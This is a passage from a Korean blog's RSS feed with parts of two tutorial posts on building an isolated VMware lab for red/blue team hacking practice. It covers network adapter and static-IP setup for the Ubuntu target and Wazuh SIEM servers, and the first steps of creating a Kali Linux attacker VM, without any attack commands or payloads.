&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;431&quot; data-origin-height=&quot;433&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/AsNaY/dJMcafG8s7q/xmwevJ9uoQEFKsPVCFcR20/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/AsNaY/dJMcafG8s7q/xmwevJ9uoQEFKsPVCFcR20/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/AsNaY/dJMcafG8s7q/xmwevJ9uoQEFKsPVCFcR20/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FAsNaY%2FdJMcafG8s7q%2FxmwevJ9uoQEFKsPVCFcR20%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;431&quot; height=&quot;433&quot; data-origin-width=&quot;431&quot; data-origin-height=&quot;433&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;7. &lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;[NIC 변경] Edit settings &amp;rarr; Network Adapter &amp;rarr; Custom: VMnet1 선택 &amp;rarr; OK&lt;/span&gt;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%;&quot;&gt;Target-server: &lt;br /&gt;&amp;nbsp;- NIC: VMnet1 (Host-only) 단일 &amp;mdash; 인터넷 없음 &lt;br /&gt;Wazuh-server: &lt;br /&gt;&amp;nbsp;- NIC1: VMnet8 (NAT) &amp;rarr; 인터넷 (Wazuh 설치)&lt;br /&gt;&amp;nbsp;- NIC2: VMnet1 (Host-only) &amp;rarr; 실습망 (에이전트 통신)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1078&quot; data-origin-height=&quot;607&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Sje2n/dJMcaaMycab/DEKZFd2ncECoEoMYxVxWZk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Sje2n/dJMcaaMycab/DEKZFd2ncECoEoMYxVxWZk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Sje2n/dJMcaaMycab/DEKZFd2ncECoEoMYxVxWZk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FSje2n%2FdJMcaaMycab%2FDEKZFd2ncECoEoMYxVxWZk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1078&quot; height=&quot;607&quot; data-origin-width=&quot;1078&quot; data-origin-height=&quot;607&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;759&quot; data-origin-height=&quot;736&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/67bqJ/dJMcafmPUnr/3W83vOZ7osn3WGmykKqsiK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/67bqJ/dJMcafmPUnr/3W83vOZ7osn3WGmykKqsiK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/67bqJ/dJMcafmPUnr/3W83vOZ7osn3WGmykKqsiK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F67bqJ%2FdJMcafmPUnr%2F3W83vOZ7osn3WGmykKqsiK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;501&quot; height=&quot;486&quot; data-origin-width=&quot;759&quot; data-origin-height=&quot;736&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #0f172a;&quot;&gt;8. CD/DVD &amp;rarr; ubuntu-22.04.3-live-server-amd64.iso 선택 &amp;rarr; Power on&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1145&quot; data-origin-height=&quot;626&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/3CtwR/dJMcageVNTF/b5Uik8Cn1eWVwk4nhxYwFK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/3CtwR/dJMcageVNTF/b5Uik8Cn1eWVwk4nhxYwFK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/3CtwR/dJMcageVNTF/b5Uik8Cn1eWVwk4nhxYwFK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F3CtwR%2FdJMcageVNTF%2Fb5Uik8Cn1eWVwk4nhxYwFK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1145&quot; height=&quot;626&quot; data-origin-width=&quot;1145&quot; data-origin-height=&quot;626&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;9. 생성 완료 후 부팅&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;10. 언어/계정 설정&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;797&quot; data-origin-height=&quot;550&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/qndwz/dJMcafG8twa/VpGYArt2Ka728SF9YQlKjK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/qndwz/dJMcafG8twa/VpGYArt2Ka728SF9YQlKjK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/qndwz/dJMcafG8twa/VpGYArt2Ka728SF9YQlKjK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fqndwz%2FdJMcafG8twa%2FVpGYArt2Ka728SF9YQlKjK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;638&quot; height=&quot;440&quot; data-origin-width=&quot;797&quot; data-origin-height=&quot;550&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;11. NIC 고정 IP 설정 방법&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;: vi 또는 nano를 이용해 &lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;/etc/netplan/00-installer-config.yaml&lt;/span&gt; 파일안에 해당 내용 삽입&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt; /etc/netplan/00-installer-config.yaml&lt;/span&gt; &lt;br /&gt;&amp;nbsp; : Debian/Kali리눅스에서 네트워크 설정을 정의하는 기본 설정파일&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;[ Target-server ]&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;732&quot; data-origin-height=&quot;484&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/AKfEz/dJMcadCojb7/giqPftXXomWPTBSpkxZ6M1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/AKfEz/dJMcadCojb7/giqPftXXomWPTBSpkxZ6M1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/AKfEz/dJMcadCojb7/giqPftXXomWPTBSpkxZ6M1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FAKfEz%2FdJMcadCojb7%2FgiqPftXXomWPTBSpkxZ6M1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;561&quot; height=&quot;371&quot; data-origin-width=&quot;732&quot; data-origin-height=&quot;484&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;[ Wazuh-server ]&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;726&quot; data-origin-height=&quot;480&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/vMByf/dJMcahdRKTj/UcruSVCYmlltGAJjWbazF0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/vMByf/dJMcahdRKTj/UcruSVCYmlltGAJjWbazF0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/vMByf/dJMcahdRKTj/UcruSVCYmlltGAJjWbazF0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FvMByf%2FdJMcahdRKTj%2FUcruSVCYmlltGAJjWbazF0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;564&quot; height=&quot;373&quot; data-origin-width=&quot;726&quot; data-origin-height=&quot;480&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;12. $ sudo netplan apply 를 이용해 네트워크 재설정&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;795&quot; data-origin-height=&quot;239&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cjtHZH/dJMcajo5A6d/kJ3vLYnWAj2ZqKJb9hNLGK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cjtHZH/dJMcajo5A6d/kJ3vLYnWAj2ZqKJb9hNLGK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cjtHZH/dJMcajo5A6d/kJ3vLYnWAj2ZqKJb9hNLGK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcjtHZH%2FdJMcajo5A6d%2FkJ3vLYnWAj2ZqKJb9hNLGK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;795&quot; height=&quot;239&quot; data-origin-width=&quot;795&quot; data-origin-height=&quot;239&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;13. $ &lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;ifconfig를 이용해 NIC 설정 완료 확인&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;787&quot; data-origin-height=&quot;492&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/qBhjI/dJMcagMPsZQ/kSckgGhsgh0EA7wDxhZsk0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/qBhjI/dJMcagMPsZQ/kSckgGhsgh0EA7wDxhZsk0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/qBhjI/dJMcagMPsZQ/kSckgGhsgh0EA7wDxhZsk0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FqBhjI%2FdJMcagMPsZQ%2FkSckgGhsgh0EA7wDxhZsk0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;787&quot; height=&quot;492&quot; data-origin-width=&quot;787&quot; data-origin-height=&quot;492&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;</description>
      <category>Red, Blue, Target 환경을 통한 해킹 실습</category>
      <author>TungTung0000</author>
      <guid isPermaLink="true">https://yeonni821.tistory.com/40</guid>
      <comments>https://yeonni821.tistory.com/40#entry40comment</comments>
      <pubDate>Thu, 25 Jun 2026 15:46:38 +0900</pubDate>
    </item>
    <item>
      <title>RED Team Kali 환경 구성</title>
      <link>https://yeonni821.tistory.com/39</link>
      <description>&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%;&quot;&gt;&lt;b&gt;[VM&amp;nbsp;1:&amp;nbsp;Kali&amp;nbsp;Linux&amp;nbsp;&amp;mdash;&amp;nbsp;Red&amp;nbsp;Team&amp;nbsp;(공격자)]&lt;/b&gt; &lt;br /&gt;&amp;nbsp;- IP: 192.168.100.10&amp;nbsp;&amp;nbsp;|&amp;nbsp;&amp;nbsp;RAM: 8GB&amp;nbsp;&amp;nbsp;|&amp;nbsp;&amp;nbsp;Disk: 60GB&amp;nbsp;&amp;nbsp;|&amp;nbsp;&amp;nbsp;OS: Kali 2024.1 &lt;br /&gt;&amp;nbsp;- NIC1: VMnet8 (NAT) &amp;rarr; 인터넷 (도구 다운로드) &lt;br /&gt;&amp;nbsp;- NIC2: VMnet1 (Host-only) &amp;rarr; 실습망 (공격 트래픽) &lt;br /&gt;&amp;nbsp; &lt;br /&gt;&lt;b&gt;[VM&amp;nbsp;2:&amp;nbsp;Ubuntu&amp;nbsp;Server&amp;nbsp;&amp;mdash;&amp;nbsp;Target&amp;nbsp;(공격&amp;nbsp;대상)]&lt;/b&gt; &lt;br /&gt;&amp;nbsp;- IP: 192.168.100.20&amp;nbsp;&amp;nbsp;|&amp;nbsp;&amp;nbsp;RAM: 2GB&amp;nbsp;&amp;nbsp;|&amp;nbsp;&amp;nbsp;Disk: 40GB&amp;nbsp;&amp;nbsp;|&amp;nbsp;&amp;nbsp;OS: Ubuntu 22.04 &lt;br /&gt;&amp;nbsp;- NIC: VMnet1 (Host-only) 단일 &amp;mdash; 인터넷 없음 &lt;br /&gt;&amp;nbsp; &lt;br /&gt;&lt;b&gt;[VM&amp;nbsp;3:&amp;nbsp;Ubuntu&amp;nbsp;Server&amp;nbsp;&amp;mdash;&amp;nbsp;Wazuh&amp;nbsp;SIEM&amp;nbsp;(Blue&amp;nbsp;Team)]&lt;/b&gt; &lt;br /&gt;&amp;nbsp;- IP: 192.168.100.30&amp;nbsp;&amp;nbsp;|&amp;nbsp;&amp;nbsp;RAM: 8GB&amp;nbsp;&amp;nbsp;|&amp;nbsp;&amp;nbsp;Disk: 100GB&amp;nbsp;&amp;nbsp;|&amp;nbsp;&amp;nbsp;OS: Ubuntu 22.04 &lt;br /&gt;&amp;nbsp;- NIC1: VMnet8 (NAT) &amp;rarr; 인터넷 (Wazuh 설치) &lt;br /&gt;&amp;nbsp;- NIC2: VMnet1 (Host-only) &amp;rarr; 실습망 (에이전트 통신) &lt;br /&gt;&amp;nbsp;- 실습망:&amp;nbsp;192.168.100.0/24&amp;nbsp;(VMnet1&amp;nbsp;Host-only,&amp;nbsp;DHCP&amp;nbsp;없음) &lt;br /&gt;&amp;nbsp; &lt;br /&gt;⚠&amp;nbsp;호스트&amp;nbsp;PC&amp;nbsp;RAM이&amp;nbsp;16GB&amp;nbsp;미만이면&amp;nbsp;VM&amp;nbsp;2대씩&amp;nbsp;번갈아&amp;nbsp;켜기&lt;br /&gt;⚠ 망분리 후 공격을 시도하는 것으로 custom으로 진행 필요&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;[VM&amp;nbsp;1:&amp;nbsp;Kali&amp;nbsp;Linux&amp;nbsp;&amp;mdash;&amp;nbsp;Red&amp;nbsp;Team&amp;nbsp;(공격자)]&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #0f172a;&quot;&gt;1. 크롬에서 &lt;a href=&quot;https://www.kali.org/get-kali/#&quot;&gt;https://www.kali.org/get-kali/&lt;/a&gt;&lt;/span&gt; 접속 후 이미지 64-bit 다운로드 진행&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1187&quot; data-origin-height=&quot;1456&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/pDa3f/dJMb997VqSg/rrnCK1gEk3bfDIxA5PEmwK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/pDa3f/dJMb997VqSg/rrnCK1gEk3bfDIxA5PEmwK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/pDa3f/dJMb997VqSg/rrnCK1gEk3bfDIxA5PEmwK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FpDa3f%2FdJMb997VqSg%2FrrnCK1gEk3bfDIxA5PEmwK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;441&quot; height=&quot;541&quot; data-origin-width=&quot;1187&quot; data-origin-height=&quot;1456&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. &lt;span style=&quot;color: #0f172a;&quot;&gt;VMware &amp;rarr; File &amp;rarr; New Virtual Machine &amp;rarr; Custom (advanced) &amp;rarr; Next&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;428&quot; data-origin-height=&quot;429&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/yPWWt/dJMb99Uoc24/KDiU3O3hRtzkYJw4JcQ4A0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/yPWWt/dJMb99Uoc24/KDiU3O3hRtzkYJw4JcQ4A0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/yPWWt/dJMb99Uoc24/KDiU3O3hRtzkYJw4JcQ4A0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FyPWWt%2FdJMb99Uoc24%2FKDiU3O3hRtzkYJw4JcQ4A0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;428&quot; height=&quot;429&quot; data-origin-width=&quot;428&quot; data-origin-height=&quot;429&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. &lt;span style=&quot;color: #0f172a;&quot;&gt;I will install the operating system later &amp;rarr; Next&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;428&quot; data-origin-height=&quot;431&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bckfEO/dJMcaf76ne8/p2GtZDcIqTF6atNW0MsJP1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bckfEO/dJMcaf76ne8/p2GtZDcIqTF6atNW0MsJP1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bckfEO/dJMcaf76ne8/p2GtZDcIqTF6atNW0MsJP1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbckfEO%2FdJMcaf76ne8%2Fp2GtZDcIqTF6atNW0MsJP1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;428&quot; height=&quot;431&quot; data-origin-width=&quot;428&quot; data-origin-height=&quot;431&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;4. &lt;span style=&quot;color: #0f172a;&quot;&gt;Linux &amp;rarr; Debian 11.x 64-bit &amp;rarr; Next&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;433&quot; data-origin-height=&quot;436&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/SSju8/dJMcadPYf4y/57o7UV3SSqmeQheWhXIEL1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/SSju8/dJMcadPYf4y/57o7UV3SSqmeQheWhXIEL1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/SSju8/dJMcadPYf4y/57o7UV3SSqmeQheWhXIEL1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FSSju8%2FdJMcadPYf4y%2F57o7UV3SSqmeQheWhXIEL1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;433&quot; height=&quot;436&quot; data-origin-width=&quot;433&quot; data-origin-height=&quot;436&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;5. &lt;span style=&quot;color: #0f172a;&quot;&gt;Virtual machine name: Kali-RedTeam&lt;span&gt;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;431&quot; data-origin-height=&quot;433&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cTOEAF/dJMcah51GgA/kdVXxTfIQOqkHlAIjgOnKK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cTOEAF/dJMcah51GgA/kdVXxTfIQOqkHlAIjgOnKK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cTOEAF/dJMcah51GgA/kdVXxTfIQOqkHlAIjgOnKK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcTOEAF%2FdJMcah51GgA%2FkdVXxTfIQOqkHlAIjgOnKK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;431&quot; height=&quot;433&quot; data-origin-width=&quot;431&quot; data-origin-height=&quot;433&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;6. &lt;span style=&quot;color: #0f172a;&quot;&gt;Processors: 2&lt;span&gt;&amp;nbsp; &lt;/span&gt;/&lt;span&gt;&amp;nbsp; &lt;/span&gt;Cores per processor: 2&lt;span&gt;&amp;nbsp; &lt;/span&gt;&amp;rarr; Next&lt;/span&gt;&lt;/p&gt;
